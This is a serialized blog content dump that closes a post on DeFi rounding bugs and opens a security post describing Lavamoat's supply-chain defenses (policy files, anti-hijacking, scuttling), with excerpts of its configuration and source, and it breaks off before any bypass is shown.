",{"type":24,"tag":147,"props":52556,"children":52557},{"style":241},[52558],{"type":29,"value":244},{"type":24,"tag":147,"props":52560,"children":52561},{"style":235},[52562],{"type":29,"value":52563}," depositInterestFactor ",{"type":24,"tag":147,"props":52565,"children":52566},{"style":241},[52567],{"type":29,"value":10204},{"type":24,"tag":147,"props":52569,"children":52570},{"style":235},[52571],{"type":29,"value":52537},{"type":24,"tag":25,"props":52573,"children":52574},{},[52575],{"type":29,"value":52576},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":52578,"children":52579},{},[52580,52582,52587],{"type":29,"value":52581},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":8545,"props":52583,"children":52584},{},[52585],{"type":29,"value":52586},"apply the state changes and check the invariant",{"type":29,"value":87},{"type":24,"tag":25,"props":52589,"children":52590},{},[52591],{"type":29,"value":52592},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":52594,"children":52595},{},[52596],{"type":29,"value":52597},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":32,"props":52599,"children":52600},{"id":8458},[52601],{"type":29,"value":8461},{"type":24,"tag":25,"props":52603,"children":52604},{},[52605],{"type":29,"value":52606},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":52608,"children":52609},{},[52610],{"type":29,"value":52611},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":8473,"props":52613,"children":52614},{},[52615],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":52617},[52618,52619,52620,52624,52625,52626],{"id":34617,"depth":160,"text":34620},{"id":51541,"depth":160,"text":51544},{"id":51660,"depth":160,"text":51663,"children":52621},[52622,52623],{"id":51671,"depth":169,"text":51674},{"id":51709,"depth":169,"text":51712},{"id":52266,"depth":160,"text":52269},{"id":52331,"depth":160,"text":52334},{"id":8458,"depth":160,"text":8461},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":52631,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52632,"description":52633,"author":52634,"image":52635,"date":52637,"isFeatured":16,"onBlogPage":16,"body":52638,"_type":8496,"_id":56115,"_source":8498,"_file":56116,"_stem":56117,"_extension":8501},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[36802,36801],{"src":52636},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":52639,"toc":56094},[52640,52644,52665,52670,52674,52679,52718,52724,52739,52757,52762,52767,52772,52785,53092,53118,53131,53136,53141,53155,53160,53173,53186,53417,53438,53473,53479,53484,53489,53703,53724,53730,53742,53832,53854,53890,53898,53916,54172,54198,54204,54218,54416,54435,54842,54855,54861,54880,54972,54977,54983,54996,55009,55095,55101,55113,55198,55210,55223,55229,55234,55248,55575,55580,55585,55591,55617,55672,55692,55745,55751,55756,55775,55786,55980,55986,56009,56015,56020,56033,56038,56043,56047,56052,56060,56090],{"type":24,"tag":32,"props":52641,"children":52642},{"id":24562},[52643],{"type":29,"value":24565},{"type":24,"tag":25,"props":52645,"children":52646},{},[52647,52654,52656,52663],{"type":24,"tag":2773,"props":52648,"children":52651},{"href":52649,"rel":52650},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[2777],[52652],{"type":29,"value":52653},"Supply chain",{"type":29,"value":52655}," attacks are becoming ",{"type":24,"tag":2773,"props":52657,"children":52660},{"href":52658,"rel":52659},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[2777],[52661],{"type":29,"value":52662},"increasingly popular in Web3",{"type":29,"value":52664},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":52666,"children":52667},{},[52668],{"type":29,"value":52669},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":43,"props":52671,"children":52672},{"id":34617},[52673],{"type":29,"value":34620},{"type":24,"tag":25,"props":52675,"children":52676},{},[52677],{"type":29,"value":52678},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":2674,"props":52680,"children":52681},{},[52682,52694,52706],{"type":24,"tag":2678,"props":52683,"children":52684},{},[52685,52692],{"type":24,"tag":2773,"props":52686,"children":52689},{"href":52687,"rel":52688},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[2777],[52690],{"type":29,"value":52691},"Lavamoat Browserify",{"type":29,"value":52693}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":2678,"props":52695,"children":52696},{},[52697,52704],{"type":24,"tag":2773,"props":52698,"children":52701},{"href":52699,"rel":52700},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[2777],[52702],{"type":29,"value":52703},"NodeJS Lavamoat",{"type":29,"value":52705}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":2678,"props":52707,"children":52708},{},[52709,52716],{"type":24,"tag":2773,"props":52710,"children":52713},{"href":52711,"rel":52712},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[2777],[52714],{"type":29,"value":52715},"Lavamoat allow-scripts",{"type":29,"value":52717}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":43,"props":52719,"children":52721},{"id":52720},"lavamoats-security-features",[52722],{"type":29,"value":52723},"Lavamoat's Security Features",{"type":24,"tag":25,"props":52725,"children":52726},{},[52727,52729,52737],{"type":29,"value":52728},"The three most important features of Lavamoat",{"type":24,"tag":21085,"props":52730,"children":52731},{},[52732],{"type":24,"tag":2773,"props":52733,"children":52735},{"href":35224,"ariaDescribedBy":52734,"dataFootnoteRef":7,"id":35226},[21092],[52736],{"type":29,"value":1154},{"type":29,"value":52738}," are:",{"type":24,"tag":22292,"props":52740,"children":52741},{},[52742,52747,52752],{"type":24,"tag":2678,"props":52743,"children":52744},{},[52745],{"type":29,"value":52746},"Policy Files",{"type":24,"tag":2678,"props":52748,"children":52749},{},[52750],{"type":29,"value":52751},"NPM Anti Hijacking",{"type":24,"tag":2678,"props":52753,"children":52754},{},[52755],{"type":29,"value":52756},"Scuttling",{"type":24,"tag":25,"props":52758,"children":52759},{},[52760],{"type":29,"value":52761},"Let's go over them one by one.",{"type":24,"tag":112,"props":52763,"children":52765},{"id":52764},"policy-files",[52766],{"type":29,"value":52746},{"type":24,"tag":25,"props":52768,"children":52769},{},[52770],{"type":29,"value":52771},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":52773,"children":52774},{},[52775,52777,52784],{"type":29,"value":52776},"For example, take the ",{"type":24,"tag":2773,"props":52778,"children":52781},{"href":52779,"rel":52780},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[2777],[52782],{"type":29,"value":52783},"Metamask Snap policy file",{"type":29,"value":978},{"type":24,"tag":137,"props":52786,"children":52788},{"className":36964,"code":52787,"language":36966,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[52789],{"type":24,"tag":80,"props":52790,"children":52791},{"__ignoreMap":7},[52792,52804,52819,52839,52858,52878,52898,52918,52938,52958,52979,52999,53018,53034,53041,53056,53076],{"type":24,"tag":147,"props":52793,"children":52794},{"class":149,"line":150},[52795,52800],{"type":24,"tag":147,"props":52796,"children":52797},{"style":3534},[52798],{"type":29,"value":52799},"   \"@metamask/providers\"",{"type":24,"tag":147,"props":52801,"children":52802},{"style":235},[52803],{"type":29,"value":42621},{"type":24,"tag":147,"props":52805,"children":52806},{"class":149,"line":160},[52807,52811,52815],{"type":24,"tag":147,"props":52808,"children":52809},{"style":3534},[52810],{"type":29,"value":42629},{"type":24,"tag":147,"props":52812,"children":52813},{"style":247},[52814],{"type":29,"value":978},{"type":24,"tag":147,"props":52816,"children":52817},{"style":235},[52818],{"type":29,"value":6630},{"type":24,"tag":147,"props":52820,"children":52821},{"class":149,"line":169},[52822,52827,52831,52835],{"type":24,"tag":147,"props":52823,"children":52824},{"style":3534},[52825],{"type":29,"value":52826},"        \"Event\"",{"type":24,"tag":147,"props":52828,"children":52829},{"style":247},[52830],{"type":29,"value":978},{"type":24,"tag":147,"props":52832,"children":52833},{"style":218},[52834],{"type":29,"value":18087},{"type":24,"tag":147,"props":52836,"children":52837},{"style":235},[52838],{"type":29,"value":1549},{"type":24,"tag":147,"props":52840,"children":52841},{"class":149,"line":178},[52842,52846,52850,52854],{"type":24,"tag":147,"props":52843,"children":52844},{"style":3534},[52845],{"type":29,"value":42681},{"type":24,"tag":147,"props":52847,"children":52848},{"style":247},[52849],{"type":29,"value":978},{"type":24,"tag":147,"props":52851,"children":52852},{"style":218},[52853],{"type":29,"value":18087},{"type":24,"tag":147,"props":52855,"children":52856},{"style":235},[52857],{"type":29,"value":1549},{"type":24,"tag":147,"props":52859,"children":52860},{"class":149,"line":187},[52861,52866,52870,52874],{"type":24,"tag":147,"props":52862,"children":52863},{"style":3534},[52864],{"type":29,"value":52865},"        \"chrome.runtime.connect\"",{"type":24,"tag":147,"props":52867,"children":52868},{"style":247},[52869],{"type":29,"value":978},{"type":24,"tag":147,"props":52871,"children":52872},{"style":218},[52873],{"type":29,"value":18087},{"type":24,"tag":147,"props":52875,"children":52876},{"style":235},[52877],{"type":29,"value":1549},{"type":24,"tag":147,"props":52879,"children":52880},{"class":149,"line":196},[52881,52886,52890,52894],{"type":24,"tag":147,"props":52882,"children":52883},{"style":3534},[52884],{"type":29,"value":52885},"        \"console\"",{"type":24,"tag":147,"props":52887,"children":52888},{"style":247},[52889],{"type":29,"value":978},{"type":24,"tag":147,"props":52891,"children":52892},{"style":218},[52893],{"type":29,"value":18087},{"type":24,"tag":147,"props":52895,"children":52896},{"style":235},[52897],{"type":29,"value":1549},{"type":24,"tag":147,"props":52899,"children":52900},{"class":149,"line":205},[52901,52906,52910,52914],{"type":24,"tag":147,"props":52902,"children":52903},{"style":3534},[52904],{"type":29,"value":52905},"        \"dispatchEvent\"",{"type":24,"tag":147,"props":52907,"children":52908},{"style":247},[52909],{"type":29,"value":978},{"type":24,"tag":147,"props":52911,"children":52912},{"style":218},[52913],{"type":29,"value":18087},{"type":24,"tag":147,"props":52915,"children":52916},{"style":235},[52917],{"type":29,"value":1549},{"type":24,"tag":147,"props":52919,"children":52920},{"class":149,"line":214},[52921,52926,52930,52934],{"type":24,"tag":147,"props":52922,"children":52923},{"style":3534},[52924],{"type":29,"value":52925},"        \"document.createElement\"",{"type":24,"tag":147,"props":52927,"children":52928},{"style":247},[52929],{"type":29,"value":978},{"type":24,"tag":147,"props":52931,"children":52932},{"style":218},[52933],{"type":29,"value":18087},{"type":24,"tag":147,"props":52935,"children":52936},{"style":235},[52937],{"type":29,"value":1549},{"type":24,"tag":147,"props":52939,"children":52940},{"class":149,"line":272},[52941,52946,52950,52954],{"type":24,"tag":147,"props":52942,"children":52943},{"style":3534},[52944],{"type":29,"value":52945},"        \"document.readyState\"",{"type":24,"tag":147,"props":52947,"children":52948},{"style":247},[52949],{"type":29,"value":978},{"type":24,"tag":147,"props":52951,"children":52952},{"style":218},[52953],{"type":29,"value":18087},{"type":24,"tag":147,"props":52955,"children":52956},{"style":235},[52957],{"type":29,"value":1549},{"type":24,"tag":147,"props":52959,"children":52960},{"class":149,"line":281},[52961,52966,52970,52975],{"type":24,"tag":147,"props":52962,"children":52963},{"style":3534},[52964],{"type":29,"value":52965},"        \"ethereum\"",{"type":24,"tag":147,"props":52967,"children":52968},{"style":247},[52969],{"type":29,"value":978},{"type":24,"tag":147,"props":52971,"children":52972},{"style":3534},[52973],{"type":29,"value":52974}," \"write\"",{"type":24,"tag":147,"props":52976,"children":52977},{"style":235},[52978],{"type":29,"value":1549},{"type":24,"tag":147,"props":52980,"children":52981},{"class":149,"line":299},[52982,52987,52991,52995],{"type":24,"tag":147,"props":52983,"children":52984},{"style":3534},[52985],{"type":29,"value":52986},"        \"location.hostname\"",{"type":24,"tag":147,"props":52988,"children":52989},{"style":247},[52990],{"type":29,"value":978},{"type":24,"tag":147,"props":52992,"children":52993},{"style":218},[52994],{"type":29,"value":18087},{"type":24,"tag":147,"props":52996,"children":52997},{"style":235},[52998],{"type":29,"value":1549},{"type":24,"tag":147,"props":53000,"children":53001},{"class":149,"line":308},[53002,53006,53010,53014],{"type":24,"tag":147,"props":53003,"children":53004},{"style":3534},[53005],{"type":29,"value":42781},{"type":24,"tag":147,"props":53007,"children":53008},{"style":247},[53009],{"type":29,"value":978},{"type":24,"tag":147,"props":53011,"children":53012},{"style":218},[53013],{"type":29,"value":18087},{"type":24,"tag":147,"props":53015,"children":53016},{"style":235},[53017],{"type":29,"value":1549},{"type":24,"tag":147,"props":53019,"children":53020},{"class":149,"line":317},[53021,53026,53030],{"type":24,"tag":147,"props":53022,"children":53023},{"style":3534},[53024],{"type":29,"value":53025},"        \"web3\"",{"type":24,"tag":147,"props":53027,"children":53028},{"style":247},[53029],{"type":29,"value":978},{"type":24,"tag":147,"props":53031,"children":53032},{"style":218},[53033],{"type":29,"value":52148},{"type":24,"tag":147,"props":53035,"children":53036},{"class":149,"line":332},[53037],{"type":24,"tag":147,"props":53038,"children":53039},{"style":235},[53040],{"type":29,"value":42798},{"type":24,"tag":147,"props":53042,"children":53043},{"class":149,"line":350},[53044,53048,53052],{"type":24,"tag":147,"props":53045,"children":53046},{"style":3534},[53047],{"type":29,"value":42806},{"type":24,"tag":147,"props":53049,"children":53050},{"style":247},[53051],{"type":29,"value":978},{"type":24,"tag":147,"props":53053,"children":53054},{"style":235},[53055],{"type":29,"value":6630},{"type":24,"tag":147,"props":53057,"children":53058},{"class":149,"line":358},[53059,53064,53068,53072],{"type":24,"tag":147,"props":53060,"children":53061},{"style":3534},[53062],{"type":29,"value":53063},"        \"@metamask/object-multiplex\"",{"type":24,"tag":147,"props":53065,"children":53066},{"style":247},[53067],{"type":29,"value":978},{"type":24,"tag":147,"props":53069,"children":53070},{"style":218},[53071],{"type":29,"value":18087},{"type":24,"tag":147,"props":53073,"children":53074},{"style":235},[53075],{"type":29,"value":1549},{"type":24,"tag":147,"props":53077,"children":53078},{"class":149,"line":397},[53079,53084,53088],{"type":24,"tag":147,"props":53080,"children":53081},{"style":3534},[53082],{"type":29,"value":53083},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":147,"props":53085,"children":53086},{"style":247},[53087],{"type":29,"value":978},{"type":24,"tag":147,"props":53089,"children":53090},{"style":218},[53091],{"type":29,"value":52148},{"type":24,"tag":25,"props":53093,"children":53094},{},[53095,53096,53101,53103,53108,53110,53116],{"type":29,"value":5094},{"type":24,"tag":80,"props":53097,"children":53099},{"className":53098},[],[53100],{"type":29,"value":42871},{"type":29,"value":53102}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":80,"props":53104,"children":53106},{"className":53105},[],[53107],{"type":29,"value":42879},{"type":29,"value":53109}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":80,"props":53111,"children":53113},{"className":53112},[],[53114],{"type":29,"value":53115},"@metamask/providers",{"type":29,"value":53117}," interacts with other packages.",{"type":24,"tag":25,"props":53119,"children":53120},{},[53121,53123,53129],{"type":29,"value":53122},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":80,"props":53124,"children":53126},{"className":53125},[],[53127],{"type":29,"value":53128},"lavapack",{"type":29,"value":53130},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":112,"props":53132,"children":53134},{"id":53133},"npm-anti-hijacking",[53135],{"type":29,"value":52751},{"type":24,"tag":25,"props":53137,"children":53138},{},[53139],{"type":29,"value":53140},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":53142,"children":53143},{},[53144,53146,53153],{"type":29,"value":53145},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":2773,"props":53147,"children":53150},{"href":53148,"rel":53149},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[2777],[53151],{"type":29,"value":53152},"walking the modules",{"type":29,"value":53154}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":112,"props":53156,"children":53158},{"id":53157},"scuttling",[53159],{"type":29,"value":52756},{"type":24,"tag":25,"props":53161,"children":53162},{},[53163,53165,53171],{"type":29,"value":53164},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":80,"props":53166,"children":53168},{"className":53167},[],[53169],{"type":29,"value":53170},"GlobalThis",{"type":29,"value":53172}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":53174,"children":53175},{},[53176,53178,53184],{"type":29,"value":53177},"For example, ",{"type":24,"tag":2773,"props":53179,"children":53182},{"href":53180,"rel":53181},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[2777],[53183],{"type":29,"value":8440},{"type":29,"value":53185}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":137,"props":53187,"children":53189},{"className":36964,"code":53188,"language":36966,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[53190],{"type":24,"tag":80,"props":53191,"children":53192},{"__ignoreMap":7},[53193,53222,53272,53331,53338,53410],{"type":24,"tag":147,"props":53194,"children":53195},{"class":149,"line":150},[53196,53200,53204,53209,53213,53218],{"type":24,"tag":147,"props":53197,"children":53198},{"style":321},[53199],{"type":29,"value":4759},{"type":24,"tag":147,"props":53201,"children":53202},{"style":235},[53203],{"type":29,"value":408},{"type":24,"tag":147,"props":53205,"children":53206},{"style":247},[53207],{"type":29,"value":53208},"scuttleOpts",{"type":24,"tag":147,"props":53210,"children":53211},{"style":235},[53212],{"type":29,"value":87},{"type":24,"tag":147,"props":53214,"children":53215},{"style":247},[53216],{"type":29,"value":53217},"enabled",{"type":24,"tag":147,"props":53219,"children":53220},{"style":235},[53221],{"type":29,"value":505},{"type":24,"tag":147,"props":53223,"children":53224},{"class":149,"line":160},[53225,53229,53233,53237,53242,53246,53251,53255,53259,53263,53268],{"type":24,"tag":147,"props":53226,"children":53227},{"style":321},[53228],{"type":29,"value":44883},{"type":24,"tag":147,"props":53230,"children":53231},{"style":235},[53232],{"type":29,"value":408},{"type":24,"tag":147,"props":53234,"children":53235},{"style":241},[53236],{"type":29,"value":413},{"type":24,"tag":147,"props":53238,"children":53239},{"style":247},[53240],{"type":29,"value":53241},"Array",{"type":24,"tag":147,"props":53243,"children":53244},{"style":235},[53245],{"type":29,"value":87},{"type":24,"tag":147,"props":53247,"children":53248},{"style":229},[53249],{"type":29,"value":53250},"isArray",{"type":24,"tag":147,"props":53252,"children":53253},{"style":235},[53254],{"type":29,"value":480},{"type":24,"tag":147,"props":53256,"children":53257},{"style":247},[53258],{"type":29,"value":53208},{"type":24,"tag":147,"props":53260,"children":53261},{"style":235},[53262],{"type":29,"value":87},{"type":24,"tag":147,"props":53264,"children":53265},{"style":247},[53266],{"type":29,"value":53267},"exceptions",{"type":24,"tag":147,"props":53269,"children":53270},{"style":235},[53271],{"type":29,"value":1432},{"type":24,"tag":147,"props":53273,"children":53274},{"class":149,"line":169},[53275,53280,53284,53288,53292,53297,53301,53305,53310,53314,53318,53322,53327],{"type":24,"tag":147,"props":53276,"children":53277},{"style":321},[53278],{"type":29,"value":53279},"        throw",{"type":24,"tag":147,"props":53281,"children":53282},{"style":218},[53283],{"type":29,"value":37533},{"type":24,"tag":147,"props":53285,"children":53286},{"style":229},[53287],{"type":29,"value":45879},{"type":24,"tag":147,"props":53289,"children":53290},{"style":235},[53291],{"type":29,"value":480},{"type":24,"tag":147,"props":53293,"children":53294},{"style":3534},[53295],{"type":29,"value":53296},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":147,"props":53298,"children":53299},{"style":218},[53300],{"type":29,"value":39709},{"type":24,"tag":147,"props":53302,"children":53303},{"style":218},[53304],{"type":29,"value":37003},{"type":24,"tag":147,"props":53306,"children":53307},{"style":247},[53308],{"type":29,"value":53309}," scuttleOpts",{"type":24,"tag":147,"props":53311,"children":53312},{"style":241},[53313],{"type":29,"value":87},{"type":24,"tag":147,"props":53315,"children":53316},{"style":247},[53317],{"type":29,"value":53267},{"type":24,"tag":147,"props":53319,"children":53320},{"style":218},[53321],{"type":29,"value":39741},{"type":24,"tag":147,"props":53323,"children":53324},{"style":3534},[53325],{"type":29,"value":53326},"\"`",{"type":24,"tag":147,"props":53328,"children":53329},{"style":235},[53330],{"type":29,"value":269},{"type":24,"tag":147,"props":53332,"children":53333},{"class":149,"line":178},[53334],{"type":24,"tag":147,"props":53335,"children":53336},{"style":235},[53337],{"type":29,"value":18282},{"type":24,"tag":147,"props":53339,"children":53340},{"class":149,"line":187},[53341,53346,53350,53355,53359,53364,53368,53373,53377,53382,53386,53390,53394,53398,53402,53406],{"type":24,"tag":147,"props":53342,"children":53343},{"style":247},[53344],{"type":29,"value":53345},"      scuttleOpts",{"type":24,"tag":147,"props":53347,"children":53348},{"style":235},[53349],{"type":29,"value":87},{"type":24,"tag":147,"props":53351,"children":53352},{"style":229},[53353],{"type":29,"value":53354},"scuttlerFunc",{"type":24,"tag":147,"props":53356,"children":53357},{"style":235},[53358],{"type":29,"value":480},{"type":24,"tag":147,"props":53360,"children":53361},{"style":247},[53362],{"type":29,"value":53363},"globalRef",{"type":24,"tag":147,"props":53365,"children":53366},{"style":235},[53367],{"type":29,"value":546},{"type":24,"tag":147,"props":53369,"children":53370},{"style":247},[53371],{"type":29,"value":53372},"realm",{"type":24,"tag":147,"props":53374,"children":53375},{"style":218},[53376],{"type":29,"value":33354},{"type":24,"tag":147,"props":53378,"children":53379},{"style":229},[53380],{"type":29,"value":53381}," performScuttleGlobalThis",{"type":24,"tag":147,"props":53383,"children":53384},{"style":235},[53385],{"type":29,"value":480},{"type":24,"tag":147,"props":53387,"children":53388},{"style":247},[53389],{"type":29,"value":53372},{"type":24,"tag":147,"props":53391,"children":53392},{"style":235},[53393],{"type":29,"value":546},{"type":24,"tag":147,"props":53395,"children":53396},{"style":247},[53397],{"type":29,"value":53208},{"type":24,"tag":147,"props":53399,"children":53400},{"style":235},[53401],{"type":29,"value":87},{"type":24,"tag":147,"props":53403,"children":53404},{"style":247},[53405],{"type":29,"value":53267},{"type":24,"tag":147,"props":53407,"children":53408},{"style":235},[53409],{"type":29,"value":3519},{"type":24,"tag":147,"props":53411,"children":53412},{"class":149,"line":196},[53413],{"type":24,"tag":147,"props":53414,"children":53415},{"style":235},[53416],{"type":29,"value":1952},{"type":24,"tag":25,"props":53418,"children":53419},{},[53420,53422,53428,53430,53436],{"type":29,"value":53421},"Subsequently, the code defines a ",{"type":24,"tag":2773,"props":53423,"children":53426},{"href":53424,"rel":53425},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[2777],[53427],{"type":29,"value":36978},{"type":29,"value":53429}," called ",{"type":24,"tag":80,"props":53431,"children":53433},{"className":53432},[],[53434],{"type":29,"value":53435},"generateScuttleOpts",{"type":29,"value":53437}," that creates and returns an options object.",{"type":24,"tag":25,"props":53439,"children":53440},{},[53441,53443,53449,53450,53456,53458,53463,53465,53471],{"type":29,"value":53442},"Finally, the ",{"type":24,"tag":80,"props":53444,"children":53446},{"className":53445},[],[53447],{"type":29,"value":53448},"performScuttleGlobalThis",{"type":29,"value":12083},{"type":24,"tag":2773,"props":53451,"children":53454},{"href":53452,"rel":53453},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[2777],[53455],{"type":29,"value":36978},{"type":29,"value":53457}," modifies the properties of the global object (",{"type":24,"tag":80,"props":53459,"children":53461},{"className":53460},[],[53462],{"type":29,"value":53363},{"type":29,"value":53464},"). It starts by creating an array ",{"type":24,"tag":80,"props":53466,"children":53468},{"className":53467},[],[53469],{"type":29,"value":53470},"props",{"type":29,"value":53472},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":32,"props":53474,"children":53476},{"id":53475},"hacking-webpacks",[53477],{"type":29,"value":53478},"Hacking Webpacks",{"type":24,"tag":25,"props":53480,"children":53481},{},[53482],{"type":29,"value":53483},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":53485,"children":53486},{},[53487],{"type":29,"value":53488},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":137,"props":53490,"children":53492},{"className":36964,"code":53491,"language":36966,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[53493],{"type":24,"tag":80,"props":53494,"children":53495},{"__ignoreMap":7},[53496,53548,53560,53580,53597,53605,53613,53621,53629,53650,53658,53666,53674,53681,53688,53695],{"type":24,"tag":147,"props":53497,"children":53498},{"class":149,"line":150},[53499,53503,53508,53512,53517,53521,53526,53530,53535,53539,53544],{"type":24,"tag":147,"props":53500,"children":53501},{"style":218},[53502],{"type":29,"value":41789},{"type":24,"tag":147,"props":53504,"children":53505},{"style":247},[53506],{"type":29,"value":53507}," filename",{"type":24,"tag":147,"props":53509,"children":53510},{"style":241},[53511],{"type":29,"value":651},{"type":24,"tag":147,"props":53513,"children":53514},{"style":229},[53515],{"type":29,"value":53516}," encodeURI",{"type":24,"tag":147,"props":53518,"children":53519},{"style":235},[53520],{"type":29,"value":480},{"type":24,"tag":147,"props":53522,"children":53523},{"style":229},[53524],{"type":29,"value":53525},"String",{"type":24,"tag":147,"props":53527,"children":53528},{"style":235},[53529],{"type":29,"value":480},{"type":24,"tag":147,"props":53531,"children":53532},{"style":247},[53533],{"type":29,"value":53534},"moduleData",{"type":24,"tag":147,"props":53536,"children":53537},{"style":235},[53538],{"type":29,"value":87},{"type":24,"tag":147,"props":53540,"children":53541},{"style":247},[53542],{"type":29,"value":53543},"file",{"type":24,"tag":147,"props":53545,"children":53546},{"style":235},[53547],{"type":29,"value":3519},{"type":24,"tag":147,"props":53549,"children":53550},{"class":149,"line":160},[53551,53555],{"type":24,"tag":147,"props":53552,"children":53553},{"style":218},[53554],{"type":29,"value":13481},{"type":24,"tag":147,"props":53556,"children":53557},{"style":247},[53558],{"type":29,"value":53559}," moduleWrapperSource\n",{"type":24,"tag":147,"props":53561,"children":53562},{"class":149,"line":169},[53563,53567,53571,53576],{"type":24,"tag":147,"props":53564,"children":53565},{"style":321},[53566],{"type":29,"value":3057},{"type":24,"tag":147,"props":53568,"children":53569},{"style":235},[53570],{"type":29,"value":408},{"type":24,"tag":147,"props":53572,"children":53573},{"style":247},[53574],{"type":29,"value":53575},"bundleWithPrecompiledModules",{"type":24,"tag":147,"props":53577,"children":53578},{"style":235},[53579],{"type":29,"value":505},{"type":24,"tag":147,"props":53581,"children":53582},{"class":149,"line":178},[53583,53588,53592],{"type":24,"tag":147,"props":53584,"children":53585},{"style":247},[53586],{"type":29,"value":53587},"    moduleWrapperSource",{"type":24,"tag":147,"props":53589,"children":53590},{"style":241},[53591],{"type":29,"value":651},{"type":24,"tag":147,"props":53593,"children":53594},{"style":3534},[53595],{"type":29,"value":53596}," `function(){\n",{"type":24,"tag":147,"props":53598,"children":53599},{"class":149,"line":187},[53600],{"type":24,"tag":147,"props":53601,"children":53602},{"style":3534},[53603],{"type":29,"value":53604},"      with (this.scopeTerminator) 